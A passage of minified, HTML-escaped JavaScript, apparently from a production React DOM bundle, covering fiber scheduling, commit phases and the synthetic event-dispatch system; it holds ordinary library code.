s=a[l],i=s.getSnapshot;s=s.value;try{if(!_t(i(),s))return!1}catch{return!1}}if(a=t.child,t.subtreeFlags&amp;16384&amp;&amp;a!==null)a.return=t,t=a;else{if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return!0;t=t.return}t.sibling.return=t.return,t=t.sibling}}return!0}function Ga(e,t,a,l){t&amp;=~dc,t&amp;=~ml,e.suspendedLanes|=t,e.pingedLanes&amp;=~t,l&amp;&amp;(e.warmLanes|=t),l=e.expirationTimes;for(var s=t;0&lt;s;){var i=31-Et(s),o=1&lt;&lt;i;l[i]=-1,s&amp;=~o}a!==0&amp;&amp;gr(e,a,t)}function Ps(){return(De&amp;6)===0?(Gn(0),!1):!0}function xc(){if(Ee!==null){if(Ue===0)var e=Ee.return;else e=Ee,ra=nl=null,Ru(e),ql=null,Nn=0,e=Ee;for(;e!==null;)Gd(e.alternate,e),e=e.return;Ee=null}}function Jl(e,t){var a=e.timeoutHandle;a!==-1&amp;&amp;(e.timeoutHandle=-1,up(a)),a=e.cancelPendingCommit,a!==null&amp;&amp;(e.cancelPendingCommit=null,a()),ba=0,xc(),ke=e,Ee=a=ua(e.current,null),Te=t,Ue=0,zt=null,qa=!1,Xl=sn(e,t),oc=!1,Vl=Ot=dc=ml=Ba=Je=0,bt=Ln=null,fc=!1,(t&amp;8)!==0&amp;&amp;(t|=t&amp;32);var l=e.entangledLanes;if(l!==0)for(e=e.entanglements,l&amp;=t;0&lt;l;){var s=31-Et(l),i=1&lt;&lt;s;t|=e[s],l&amp;=~i}return ga=t,gs(),a}function ff(e,t){ge=null,w.H=wn,t===Hl||t===As?(t=Ao(),Ue=3):t===bu?(t=Ao(),Ue=4):Ue=t===$u?8:t!==null&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;typeof t.then==&quot;function&quot;?6:1,zt=t,Ee===null&amp;&amp;(Je=1,Gs(e,qt(t,e.current)))}function mf(){var e=At.current;return e===null?!0:(Te&amp;4194048)===Te?Gt===null:(Te&amp;62914560)===Te||(Te&amp;536870912)!==0?e===Gt:!1}function hf(){var e=w.H;return w.H=wn,e===null?wn:e}function pf(){var e=w.A;return w.A=L0,e}function Is(){Je=4,qa||(Te&amp;4194048)!==Te&amp;&amp;At.current!==null||(Xl=!0),(Ba&amp;134217727)===0&amp;&amp;(ml&amp;134217727)===0||ke===null||Ga(ke,Te,Ot,!1)}function vc(e,t,a){var l=De;De|=2;var s=hf(),i=pf();(ke!==e||Te!==t)&amp;&amp;(Ws=null,Jl(e,t)),t=!1;var o=Je;e:do try{if(Ue!==0&amp;&amp;Ee!==null){var h=Ee,S=zt;switch(Ue){case 8:xc(),o=6;break e;case 3:case 2:case 9:case 6:At.current===null&amp;&amp;(t=!0);var C=Ue;if(Ue=0,zt=null,$l(e,h,S,C),a&amp;&amp;Xl){o=0;break e}break;default:C=Ue,Ue=0,zt=null,$l(e,h,S,C)}}Y0(),o=Je;break}catch(L){ff(e,L)}while(!0);return t&amp;&amp;e.shellSuspendCounter++,ra=nl=null,De=l,w.H=s,w.A=i,Ee===null&amp;&amp;(ke=null,Te=0,gs()),o}function Y0(){for(;Ee!==null;)xf(Ee)}function Q0(e,t){var a=De;De|=2;var l=hf(),s=pf();ke!==e||Te!==t?(Ws=null,Fs=St()+500,Jl(e,t)):Xl=sn(e,t);e:do try{if(Ue!==0&amp;&amp;Ee!==null){t=Ee;var i=zt;t:switch(Ue){case 1:Ue=0,zt=null,$l(e,t,i,1);break;case 2:case 9:if(_o(i)){Ue=0,zt=null,vf(t);break}t=function(){Ue!==2&amp;&amp;Ue!==9||ke!==e||(Ue=7),ta(e)},i.then(t,t);break e;case 3:Ue=7;break e;case 4:Ue=5;break e;case 7:_o(i)?(Ue=0,zt=null,vf(t)):(Ue=0,zt=null,$l(e,t,i,7));break;case 5:var o=null;switch(Ee.tag){case 26:o=Ee.memoizedState;case 5:case 27:var h=Ee;if(o?am(o):h.stateNode.complete){Ue=0,zt=null;var S=h.sibling;if(S!==null)Ee=S;else{var C=h.return;C!==null?(Ee=C,ei(C)):Ee=null}break t}}Ue=0,zt=null,$l(e,t,i,5);break;case 6:Ue=0,zt=null,$l(e,t,i,6);break;case 8:xc(),Je=6;break e;default:throw Error(r(462))}}X0();break}catch(L){ff(e,L)}while(!0);return ra=nl=null,w.H=l,w.A=s,De=a,Ee!==null?0:(ke=null,Te=0,gs(),Je)}function X0(){for(;Ee!==null&amp;&amp;!mh();)xf(Ee)}function xf(e){var t=Ld(e.alternate,e,ga);e.memoizedProps=e.pendingProps,t===null?ei(e):Ee=t}function vf(e){var t=e,a=t.alternate;switch(t.tag){case 15:case 0:t=Dd(a,t,t.pendingProps,t.type,void 0,Te);break;case 11:t=Dd(a,t,t.pendingProps,t.type.render,t.ref,Te);break;case 5:Ru(t);default:Gd(a,t),t=Ee=ho(t,ga),t=Ld(a,t,ga)}e.memoizedProps=e.pendingProps,t===null?ei(e):Ee=t}function $l(e,t,a,l){ra=nl=null,Ru(t),ql=null,Nn=0;var s=t.return;try{if(R0(e,s,t,a,Te)){Je=1,Gs(e,qt(a,e.current)),Ee=null;return}}catch(i){if(s!==null)throw Ee=s,i;Je=1,Gs(e,qt(a,e.current)),Ee=null;return}t.flags&amp;32768?(Ce||l===1?e=!0:Xl||(Te&amp;536870912)!==0?e=!1:(qa=e=!0,(l===2||l===9||l===3||l===6)&amp;&amp;(l=At.current,l!==null&amp;&amp;l.tag===13&amp;&amp;(l.flags|=16384))),yf(t,e)):ei(t)}function ei(e){var t=e;do{if((t.flags&amp;32768)!==0){yf(t,qa);return}e=t.return;var a=U0(t.alternate,t,ga);if(a!==null){Ee=a;return}if(t=t.sibling,t!==null){Ee=t;return}Ee=t=e}while(t!==null);Je===0&amp;&amp;(Je=5)}function yf(e,t){do{var a=H0(e.alternate,e);if(a!==null){a.flags&amp;=32767,Ee=a;return}if(a=e.return,a!==null&amp;&amp;(a.flags|=32768,a.subtreeFlags=0,a.deletions=null),!t&amp;&amp;(e=e.sibling,e!==null)){Ee=e;return}Ee=e=a}while(e!==null);Je=6,Ee=null}function gf(e,t,a,l,s,i,o,h,S){e.cancelPendingCommit=null;do ti();while(tt!==0);if((De&amp;6)!==0)throw Error(r(327));if(t!==null){if(t===e.current)throw Error(r(177));if(i=t.lanes|t.childLanes,i|=su,Nh(e,a,i,o,h,S),e===ke&amp;&amp;(Ee=ke=null,Te=0),Zl=t,ka=e,ba=a,mc=i,hc=s,cf=l,(t.subtreeFlags&amp;10256)!==0||(t.flags&amp;10256)!==0?(e.callbackNode=null,e.callbackPriority=0,$0(ls,function(){return Ef(),null})):(e.callbackNode=null,e.callbackPriority=0),l=(t.flags&amp;13878)!==0,(t.subtreeFlags&amp;13878)!==0||l){l=w.T,w.T=null,s=Y.p,Y.p=2,o=De,De|=4;try{q0(e,t,a)}finally{De=o,Y.p=s,w.T=l}}tt=1,bf(),jf(),Sf()}}function bf(){if(tt===1){tt=0;var e=ka,t=Zl,a=(t.flags&amp;13878)!==0;if((t.subtreeFlags&amp;13878)!==0||a){a=w.T,w.T=null;var l=Y.p;Y.p=2;var s=De;De|=4;try{Id(t,e);var i=zc,o=no(e.containerInfo),h=i.focusedElem,S=i.selectionRange;if(o!==h&amp;&amp;h&amp;&amp;h.ownerDocument&amp;&amp;lo(h.ownerDocument.documentElement,h)){if(S!==null&amp;&amp;eu(h)){var C=S.start,L=S.end;if(L===void 0&amp;&amp;(L=C),&quot;selectionStart&quot;in h)h.selectionStart=C,h.selectionEnd=Math.min(L,h.value.length);else{var Z=h.ownerDocument||document,z=Z&amp;&amp;Z.defaultView||window;if(z.getSelection){var U=z.getSelection(),ue=h.textContent.length,he=Math.min(S.start,ue),Le=S.end===void 0?he:Math.min(S.end,ue);!U.extend&amp;&amp;he&gt;Le&amp;&amp;(o=Le,Le=he,he=o);var _=ao(h,he),E=ao(h,Le);if(_&amp;&amp;E&amp;&amp;(U.rangeCount!==1||U.anchorNode!==_.node||U.anchorOffset!==_.offset||U.focusNode!==E.node||U.focusOffset!==E.offset)){var A=Z.createRange();A.setStart(_.node,_.offset),U.removeAllRanges(),he&gt;Le?(U.addRange(A),U.extend(E.node,E.offset)):(A.setEnd(E.node,E.offset),U.addRange(A))}}}}for(Z=[],U=h;U=U.parentNode;)U.nodeType===1&amp;&amp;Z.push({element:U,left:U.scrollLeft,top:U.scrollTop});for(typeof h.focus==&quot;function&quot;&amp;&amp;h.focus(),h=0;h&lt;Z.length;h++){var V=Z[h];V.element.scrollLeft=V.left,V.element.scrollTop=V.top}}mi=!!Cc,zc=Cc=null}finally{De=s,Y.p=l,w.T=a}}e.current=t,tt=2}}function jf(){if(tt===2){tt=0;var e=ka,t=Zl,a=(t.flags&amp;8772)!==0;if((t.subtreeFlags&amp;8772)!==0||a){a=w.T,w.T=null;var l=Y.p;Y.p=2;var s=De;De|=4;try{$d(e,t.alternate,t)}finally{De=s,Y.p=l,w.T=a}}tt=3}}function Sf(){if(tt===4||tt===3){tt=0,hh();var e=ka,t=Zl,a=ba,l=cf;(t.subtreeFlags&amp;10256)!==0||(t.flags&amp;10256)!==0?tt=5:(tt=0,Zl=ka=null,Nf(e,e.pendingLanes));var s=e.pendingLanes;if(s===0&amp;&amp;(La=null),Ui(a),t=t.stateNode,Nt&amp;&amp;typeof Nt.onCommitFiberRoot==&quot;function&quot;)try{Nt.onCommitFiberRoot(nn,t,void 0,(t.current.flags&amp;128)===128)}catch{}if(l!==null){t=w.T,s=Y.p,Y.p=2,w.T=null;try{for(var i=e.onRecoverableError,o=0;o&lt;l.length;o++){var h=l[o];i(h.value,{componentStack:h.stack})}}finally{w.T=t,Y.p=s}}(ba&amp;3)!==0&amp;&amp;ti(),ta(e),s=e.pendingLanes,(a&amp;261930)!==0&amp;&amp;(s&amp;42)!==0?e===pc?kn++:(kn=0,pc=e):kn=0,Gn(0)}}function Nf(e,t){(e.pooledCacheLanes&amp;=t)===0&amp;&amp;(t=e.pooledCache,t!=null&amp;&amp;(e.pooledCache=null,jn(t)))}function ti(){return bf(),jf(),Sf(),Ef()}function Ef(){if(tt!==5)return!1;var e=ka,t=mc;mc=0;var a=Ui(ba),l=w.T,s=Y.p;try{Y.p=32&gt;a?32:a,w.T=null,a=hc,hc=null;var i=ka,o=ba;if(tt=0,Zl=ka=null,ba=0,(De&amp;6)!==0)throw Error(r(331));var h=De;if(De|=4,nf(i.current),tf(i,i.current,o,a),De=h,Gn(0,!1),Nt&amp;&amp;typeof Nt.onPostCommitFiberRoot==&quot;function&quot;)try{Nt.onPostCommitFiberRoot(nn,i)}catch{}return!0}finally{Y.p=s,w.T=l,Nf(e,t)}}function _f(e,t,a){t=qt(a,t),t=Ju(e.stateNode,t,2),e=Da(e,t,2),e!==null&amp;&amp;(un(e,2),ta(e))}function He(e,t,a){if(e.tag===3)_f(e,e,a);else for(;t!==null;){if(t.tag===3){_f(t,e,a);break}else if(t.tag===1){var l=t.stateNode;if(typeof t.type.getDerivedStateFromError==&quot;function&quot;||typeof l.componentDidCatch==&quot;function&quot;&amp;&amp;(La===null||!La.has(l))){e=qt(a,e),a=_d(2),l=Da(t,a,2),l!==null&amp;&amp;(Td(a,l,t,e),un(l,2),ta(l));break}}t=t.return}}function yc(e,t,a){var l=e.pingCache;if(l===null){l=e.pingCache=new k0;var s=new Set;l.set(t,s)}else s=l.get(t),s===void 0&amp;&amp;(s=new Set,l.set(t,s));s.has(a)||(oc=!0,s.add(a),e=V0.bind(null,e,t,a),t.then(e,e))}function V0(e,t,a){var l=e.pingCache;l!==null&amp;&amp;l.delete(t),e.pingedLanes|=e.suspendedLanes&amp;a,e.warmLanes&amp;=~a,ke===e&amp;&amp;(Te&amp;a)===a&amp;&amp;(Je===4||Je===3&amp;&amp;(Te&amp;62914560)===Te&amp;&amp;300&gt;St()-Ks?(De&amp;2)===0&amp;&amp;Jl(e,0):dc|=a,Vl===Te&amp;&amp;(Vl=0)),ta(e)}function Tf(e,t){t===0&amp;&amp;(t=yr()),e=tl(e,t),e!==null&amp;&amp;(un(e,t),ta(e))}function Z0(e){var t=e.memoizedState,a=0;t!==null&amp;&amp;(a=t.retryLane),Tf(e,a)}function J0(e,t){var a=0;switch(e.tag){case 31:case 13:var l=e.stateNode,s=e.memoizedState;s!==null&amp;&amp;(a=s.retryLane);break;case 19:l=e.stateNode;break;case 22:l=e.stateNode._retryCache;break;default:throw Error(r(314))}l!==null&amp;&amp;l.delete(t),Tf(e,a)}function $0(e,t){return wi(e,t)}var ai=null,Kl=null,gc=!1,li=!1,bc=!1,Ya=0;function ta(e){e!==Kl&amp;&amp;e.next===null&amp;&amp;(Kl===null?ai=Kl=e:Kl=Kl.next=e),li=!0,gc||(gc=!0,F0())}function Gn(e,t){if(!bc&amp;&amp;li){bc=!0;do for(var a=!1,l=ai;l!==null;){if(e!==0){var s=l.pendingLanes;if(s===0)var i=0;else{var o=l.suspendedLanes,h=l.pingedLanes;i=(1&lt;&lt;31-Et(42|e)+1)-1,i&amp;=s&amp;~(o&amp;~h),i=i&amp;201326741?i&amp;201326741|1:i?i|2:0}i!==0&amp;&amp;(a=!0,Of(l,i))}else i=Te,i=us(l,l===ke?i:0,l.cancelPendingCommit!==null||l.timeoutHandle!==-1),(i&amp;3)===0||sn(l,i)||(a=!0,Of(l,i));l=l.next}while(a);bc=!1}}function K0(){Af()}function Af(){li=gc=!1;var e=0;Ya!==0&amp;&amp;ip()&amp;&amp;(e=Ya);for(var t=St(),a=null,l=ai;l!==null;){var s=l.next,i=Cf(l,t);i===0?(l.next=null,a===null?ai=s:a.next=s,s===null&amp;&amp;(Kl=a)):(a=l,(e!==0||(i&amp;3)!==0)&amp;&amp;(li=!0)),l=s}tt!==0&amp;&amp;tt!==5||Gn(e),Ya!==0&amp;&amp;(Ya=0)}function Cf(e,t){for(var a=e.suspendedLanes,l=e.pingedLanes,s=e.expirationTimes,i=e.pendingLanes&amp;-62914561;0&lt;i;){var o=31-Et(i),h=1&lt;&lt;o,S=s[o];S===-1?((h&amp;a)===0||(h&amp;l)!==0)&amp;&amp;(s[o]=Sh(h,t)):S&lt;=t&amp;&amp;(e.expiredLanes|=h),i&amp;=~h}if(t=ke,a=Te,a=us(e,e===t?a:0,e.cancelPendingCommit!==null||e.timeoutHandle!==-1),l=e.callbackNode,a===0||e===t&amp;&amp;(Ue===2||Ue===9)||e.cancelPendingCommit!==null)return l!==null&amp;&amp;l!==null&amp;&amp;Ri(l),e.callbackNode=null,e.callbackPriority=0;if((a&amp;3)===0||sn(e,a)){if(t=a&amp;-a,t===e.callbackPriority)return t;switch(l!==null&amp;&amp;Ri(l),Ui(a)){case 2:case 8:a=xr;break;case 32:a=ls;break;case 268435456:a=vr;break;default:a=ls}return l=zf.bind(null,e),a=wi(a,l),e.callbackPriority=t,e.callbackNode=a,t}return l!==null&amp;&amp;l!==null&amp;&amp;Ri(l),e.callbackPriority=2,e.callbackNode=null,2}function zf(e,t){if(tt!==0&amp;&amp;tt!==5)return e.callbackNode=null,e.callbackPriority=0,null;var a=e.callbackNode;if(ti()&amp;&amp;e.callbackNode!==a)return null;var l=Te;return l=us(e,e===ke?l:0,e.cancelPendingCommit!==null||e.timeoutHandle!==-1),l===0?null:(of(e,l,t),Cf(e,St()),e.callbackNode!=null&amp;&amp;e.callbackNode===a?zf.bind(null,e):null)}function Of(e,t){if(ti())return null;of(e,t,!0)}function F0(){cp(function(){(De&amp;6)!==0?wi(pr,K0):Af()})}function jc(){if(Ya===0){var e=Ml;e===0&amp;&amp;(e=ns,ns&lt;&lt;=1,(ns&amp;261888)===0&amp;&amp;(ns=256)),Ya=e}return Ya}function wf(e){return e==null||typeof e==&quot;symbol&quot;||typeof e==&quot;boolean&quot;?null:typeof e==&quot;function&quot;?e:ds(&quot;&quot;+e)}function Rf(e,t){var a=t.ownerDocument.createElement(&quot;input&quot;);return a.name=t.name,a.value=t.value,e.id&amp;&amp;a.setAttribute(&quot;form&quot;,e.id),t.parentNode.insertBefore(a,t),e=new FormData(e),a.parentNode.removeChild(a),e}function W0(e,t,a,l,s){if(t===&quot;submit&quot;&amp;&amp;a&amp;&amp;a.stateNode===s){var i=wf((s[pt]||null).action),o=l.submitter;o&amp;&amp;(t=(t=o[pt]||null)?wf(t.formAction):o.getAttribute(&quot;formAction&quot;),t!==null&amp;&amp;(i=t,o=null));var h=new ps(&quot;action&quot;,&quot;action&quot;,null,l,s);e.push({event:h,listeners:[{instance:null,listener:function(){if(l.defaultPrevented){if(Ya!==0){var S=o?Rf(s,o):new FormData(s);Gu(a,{pending:!0,data:S,method:s.method,action:i},null,S)}}else typeof i==&quot;function&quot;&amp;&amp;(h.preventDefault(),S=o?Rf(s,o):new FormData(s),Gu(a,{pending:!0,data:S,method:s.method,action:i},i,S))},currentTarget:s}]})}}for(var Sc=0;Sc&lt;nu.length;Sc++){var Nc=nu[Sc],P0=Nc.toLowerCase(),I0=Nc[0].toUpperCase()+Nc.slice(1);Zt(P0,&quot;on&quot;+I0)}Zt(uo,&quot;onAnimationEnd&quot;),Zt(co,&quot;onAnimationIteration&quot;),Zt(ro,&quot;onAnimationStart&quot;),Zt(&quot;dblclick&quot;,&quot;onDoubleClick&quot;),Zt(&quot;focusin&quot;,&quot;onFocus&quot;),Zt(&quot;focusout&quot;,&quot;onBlur&quot;),Zt(p0,&quot;onTransitionRun&quot;),Zt(x0,&quot;onTransitionStart&quot;),Zt(v0,&quot;onTransitionCancel&quot;),Zt(oo,&quot;onTransitionEnd&quot;),bl(&quot;onMouseEnter&quot;,[&quot;mouseout&quot;,&quot;mouseover&quot;]),bl(&quot;onMouseLeave&quot;,[&quot;mouseout&quot;,&quot;mouseover&quot;]),bl(&quot;onPointerEnter&quot;,[&quot;pointerout&quot;,&quot;pointerover&quot;]),bl(&quot;onPointerLeave&quot;,[&quot;pointerout&quot;,&quot;pointerover&quot;]),Wa(&quot;onChange&quot;,&quot;change click focusin focusout input keydown keyup selectionchange&quot;.split(&quot; &quot;)),Wa(&quot;onSelect&quot;,&quot;focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange&quot;.split(&quot; &quot;)),Wa(&quot;onBeforeInput&quot;,[&quot;compositionend&quot;,&quot;keypress&quot;,&quot;textInput&quot;,&quot;paste&quot;]),Wa(&quot;onCompositionEnd&quot;,&quot;compositionend focusout keydown keypress keyup mousedown&quot;.split(&quot; &quot;)),Wa(&quot;onCompositionStart&quot;,&quot;compositionstart focusout keydown keypress keyup mousedown&quot;.split(&quot; &quot;)),Wa(&quot;onCompositionUpdate&quot;,&quot;compositionupdate focusout keydown keypress keyup mousedown&quot;.split(&quot; &quot;));var Yn=&quot;abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange resize seeked seeking stalled suspend timeupdate volumechange waiting&quot;.split(&quot; &quot;),ep=new Set(&quot;beforetoggle cancel close invalid load scroll scrollend toggle&quot;.split(&quot; &quot;).concat(Yn));function Df(e,t){t=(t&amp;4)!==0;for(var a=0;a&lt;e.length;a++){var l=e[a],s=l.event;l=l.listeners;e:{var i=void 0;if(t)for(var o=l.length-1;0&lt;=o;o--){var h=l[o],S=h.instance,C=h.currentTarget;if(h=h.listener,S!==i&amp;&amp;s.isPropagationStopped())break e;i=h,s.currentTarget=C;try{i(s)}catch(L){ys(L)}s.currentTarget=null,i=S}else for(o=0;o&lt;l.length;o++){if(h=l[o],S=h.instance,C=h.currentTarget,h=h.listener,S!==i&amp;&amp;s.isPropagationStopped())break e;i=h,s.currentTarget=C;try{i(s)}catch(L){ys(L)}s.currentTarget=null,i=S}}}}function _e(e,t){var a=t[Hi];a===void 0&amp;&amp;(a=t[Hi]=new Set);var l=e+&quot;__bubble&quot;;a.has(l)||(Mf(t,e,2,!1),a.add(l))}function Ec(e,t,a){var l=0;t&amp;&amp;(l|=4),Mf(a,e,l,t)}var ni=&quot;_reactListening&quot;+Math.random().toString(36).slice(2);function _c(e){if(!e[ni]){e[ni]=!0,_r.forEach(function(a){a!==&quot;selectionchange&quot;&amp;&amp;(ep.has(a)||Ec(a,!1,e),Ec(a,!0,e))});var t=e.nodeType===9?e:e.ownerDocument;t===null||t[ni]||(t[ni]=!0,Ec(&quot;selectionchange&quot;,!1,t))}}function Mf(e,t,a,l){switch(rm(t)){case 2:var s=Cp;break;case 8:s=zp;break;default:s=kc}a=s.bind(null,t,a,e),s=void 0,!Vi||t!==&quot;touchstart&quot;&amp;&amp;t!==&quot;touchmove&quot;&amp;&amp;t!==&quot;wheel&quot;||(s=!0),l?s!==void 0?e.addEventListener(t,a,{capture:!0,passive:s}):e.addEventListener(t,a,!0):s!==void 0?e.addEventListener(t,a,{passive:s}):e.addEventListener(t,a,!1)}function Tc(e,t,a,l,s){var i=l;if((t&amp;1)===0&amp;&amp;(t&amp;2)===0&amp;&amp;l!==null)e:for(;;){if(l===null)return;var o=l.tag;if(o===3||o===4){var h=l.stateNode.containerInfo;if(h===s)break;if(o===4)for(o=l.return;o!==null;){var S=o.tag;if((S===3||S===4)&amp;&amp;o.stateNode.containerInfo===s)return;o=o.return}for(;h!==null;){if(o=vl(h),o===null)return;if(S=o.tag,S===5||S===6||S===26||S===27){l=i=o;continue e}h=h.parentNode}}l=l.return}qr(function(){var C=i,L=Qi(a),Z=[];e:{var z=fo.get(e);if(z!==void 0){var U=ps,ue=e;switch(e){case&quot;keypress&quot;:if(ms(a)===0)break e;case&quot;keydown&quot;:case&quot;keyup&quot;:U=Jh;break;case&quot;focusin&quot;:ue=&quot;focus&quot;,U=Ki;break;case&quot;focusout&quot;:ue=&quot;blur&quot;,U=Ki;break;case&quot;beforeblur&quot;:case&quot;afterblur&quot;:U=Ki;break;case&quot;click&quot;:if(a.button===2)break e;case&quot;auxclick&quot;:case&quot;dblclick&quot;:case&quot;mousedown&quot;:case&quot;mousemove&quot;:case&quot;mouseup&quot;:case&quot;mouseout&quot;:case&quot;mouseover&quot;:case&quot;contextmenu&quot;:U=kr;break;case&quot;drag&quot;:case&quot;dragend&quot;:case&quot;dragenter&quot;:case&quot;dragexit&quot;:case&quot;dragleave&quot;:case&quot;dragover&quot;:case&quot;dragstart&quot;:case&quot;drop&quot;:U=Uh;break;case&quot;touchcancel&quot;:case&quot;touchend&quot;:case&quot;touchmove&quot;:case&quot;touchstart&quot;:U=Fh;break;case uo:case co:case ro:U=Bh;break;case oo:U=Ph;break;case&quot;scroll&quot;:case&quot;scrollend&quot;:U=Dh;break;case&quot;wheel&quot;:U=e0;break;case&quot;copy&quot;:case&quot;cut&quot;:case&quot;paste&quot;:U=kh;break;case&quot;gotpointercapture&quot;:case&quot;lostpointercapture&quot;:case&quot;pointercancel&quot;:case&quot;pointerdown&quot;:case&quot;pointermove&quot;:case&quot;pointerout&quot;:case&quot;pointerover&quot;:case&quot;pointerup&quot;:U=Yr;break;case&quot;toggle&quot;:case&quot;beforetoggle&quot;:U=a0}var he=(t&amp;4)!==0,Le=!he&amp;&amp;(e===&quot;scroll&quot;||e===&quot;scrollend&quot;),_=he?z!==null?z+&quot;Capture&quot;:null:z;he=[];for(var E=C,A;E!==null;){var V=E;if(A=V.stateNode,V=V.tag,V!==5&amp;&amp;V!==26&amp;&amp;V!==27||A===null||_===null||(V=on(E,_),V!=null&amp;&amp;he.push(Qn(E,V,A))),Le)break;E=E.return}0&lt;he.length&amp;&amp;(z=new U(z,ue,null,a,L),Z.push({event:z,listeners:he}))}}if((t&amp;7)===0){e:{if(z=e===&quot;mouseover&quot;||e===&quot;pointerover&quot;,U=e===&quot;mouseout&quot;||e===&quot;pointerout&quot;,z&amp;&amp;a!==Yi&amp;&amp;(ue=a.relatedTarget||a.fromElement)&amp;&amp;(vl(ue)||ue[xl]))break e;if((U||z)&amp;&amp;(z=L.window===L?L:(z=L.ownerDocument)?z.defaultView||z.parentWindow:window,U?(ue=a.relatedTarget||a.toElement,U=C,ue=ue?vl(ue):null,ue!==null&amp;&amp;(Le=p(ue),he=ue.tag,ue!==Le||he!==5&amp;&amp;he!==27&amp;&amp;he!==6)&amp;&amp;(ue=null)):(U=null,ue=C),U!==ue)){if(he=kr,V=&quot;onMouseLeave&quot;,_=&quot;onMouseEnter&quot;,E=&quot;mouse&quot;,(e===&quot;pointerout&quot;||e===&quot;pointerover&quot;)&amp;&amp;(he=Yr,V=&quot;onPointerLeave&quot;,_=&quot;onPointerEnter&quot;,E=&quot;pointer&quot;),Le=U==null?z:rn(U),A=ue==null?z:rn(ue),z=new he(V,E+&quot;leave&quot;,U,a,L),z.target=Le,z.relatedTarget=A,V=null,vl(L)===C&amp;&amp;(he=new he(_,E+&quot;enter&quot;,ue,a,L),he.target=A,he.relatedTarget=Le,V=he),Le=V,U&amp;&amp;ue)t:{for(he=tp,_=U,E=ue,A=0,V=_;V;V=he(V))A++;V=0;for(var fe=E;fe;fe=he(fe))V++;for(;0&lt;A-V;)_=he(_),A--;for(;0&lt;V-A;)E=he(E),V--;for(;A--;){if(_===E||E!==null&amp;&amp;_===E.alternate){he=_;break t}_=he(_),E=he(E)}he=null}else he=null;U!==null&amp;&amp;Uf(Z,z,U,he,!1),ue!==null&amp;&amp;Le!==null&amp;&amp;Uf(Z,Le,ue,he,!0)}}e:{if(z=C?rn(C):window,U=z.nodeName&amp;&amp;z.nodeName.toLowerCase(),U===&quot;select&quot;||U===&quot;input&quot;&amp;&amp;z.type===&quot;file&quot;)var we=Fr;else if($r(z))if(Wr)we=f0;else{we=o0;var ce=r0}else U=z.nodeName,!U||U.toLowerCase()!==&quot;input&quot;||z.type!==&quot;checkbox&quot;&amp;&amp;z.type!==&quot;radio&quot;?C&amp;&amp;Gi(C.elementType)&amp;&amp;(we=Fr):we=d0;if(we&amp;&amp;(we=we(e,C))){Kr(Z,we,a,L);break e}ce&amp;&amp;ce(e,z,C),e===&quot;focusout&quot;&amp;&amp;C&amp;&amp;z.type===&quot;number&quot;&amp;&amp;C.memoizedProps.value!=null&amp;&amp;ki(z,&quot;number&quot;,z.value)}switch(ce=C?rn(C):window,e){case&quot;focusin&quot;:($r(ce)||ce.contentEditable===&quot;true&quot;)&amp;&amp;(Tl=ce,tu=C,yn=null);break;case&quot;focusout&quot;:yn=tu=Tl=null;break;case&quot;mousedown&quot;:au=!0;break;case&quot;contextmenu&quot;:case&quot;mouseup&quot;:case&quot;dragend&quot;:au=!1,so(Z,a,L);break;case&quot;selectionchange&quot;:if(h0)break;case&quot;keydown&quot;:case&quot;keyup&quot;:so(Z,a,L)}var je;if(Wi)e:{switch(e){case&quot;compositionstart&quot;:var Ae=&quot;onCompositionStart&quot;;break e;case&quot;compositionend&quot;:Ae=&quot;onCompositionEnd&quot;;break e;case&quot;compositionupdate&quot;:Ae=&quot;onCompositionUpdate&quot;;break e}Ae=void 0}else _l?Zr(e,a)&amp;&amp;(Ae=&quot;onCompositionEnd&quot;):e===&quot;keydown&quot;&amp;&amp;a.keyCode===229&amp;&amp;(Ae=&quot;onCompositionStart&quot;);Ae&amp;&amp;(Qr&amp;&amp;a.locale!==&quot;ko&quot;&amp;&amp;(_l||Ae!==&quot;onCompositionStart&quot;?Ae===&quot;onCompositionEnd&quot;&amp;&amp;_l&amp;&amp;(je=Br()):(Ta=L,Zi=&quot;value&quot;in Ta?Ta.value:Ta.textContent,_l=!0)),ce=si(C,Ae),0&lt;ce.length&amp;&amp;(Ae=new Gr(Ae,e,null,a,L),Z.push({event:Ae,listeners:ce}),je?Ae.data=je:(je=Jr(a),je!==null&amp;&amp;(Ae.data=je)))),(je=n0?s0(e,a):i0(e,a))&amp;&amp;(Ae=si(C,&quot;onBeforeInput&quot;),0&lt;Ae.length&amp;&amp;(ce=new Gr(&quot;onBeforeInput&quot;,&quot;beforeinput&quot;,null,a,L),Z.push({event:ce,listeners:Ae}),ce.data=je)),W0(Z,e,C,a,L)}Df(Z,t)})}function Qn(e,t,a){return{instance:e,listener:t,currentTarget:a}}function si(e,t){for(var a=t+&quot;Capture&quot;,l=[];e!==null;){var s=e,i=s.stateNode;if(s=s.tag,s!==5&amp;&amp;s!==26&amp;&amp;s!==27||i===null||(s=on(e,a),s!=null&amp;&amp;l.unshift(Qn(e,s,i)),s=on(e,t),s!=null&amp;&amp;l.push(Qn(e,s,i))),e.tag===3)return l;e=e.return}return[]}function tp(e){if(e===null)return null;do e=e.return;while(e&amp;&amp;e.tag!==5&amp;&amp;e.tag!==27);return e||null}function Uf(e,t,a,l,s){for(var i=t._reactName,o=[];a!==null&amp;&amp;a!==l;){var h=a,S=h.alternate,C=h.stateNode;if(h=h.tag,S!==null&amp;&amp;S===l)break;h!==5&amp;&amp;h!==26&amp;&amp;h!==27||C===null||(S=C,s?(C=on(a,i),C!=null&amp;&amp;o.unshift(Qn(a,C,S))):s||(C=on(a,i),C!=null&amp;&amp;o.push(Qn(a,C,S)))),a=a.return}o.length!==0&amp;&amp;e.push({event:t,listeners:o})}var ap=/\r\n?/g,lp=/\u0000|\uFFFD/g;function Hf(e){return(typeof e==&quot;string&quot;?e:&quot;&quot;+e).replace(ap,`
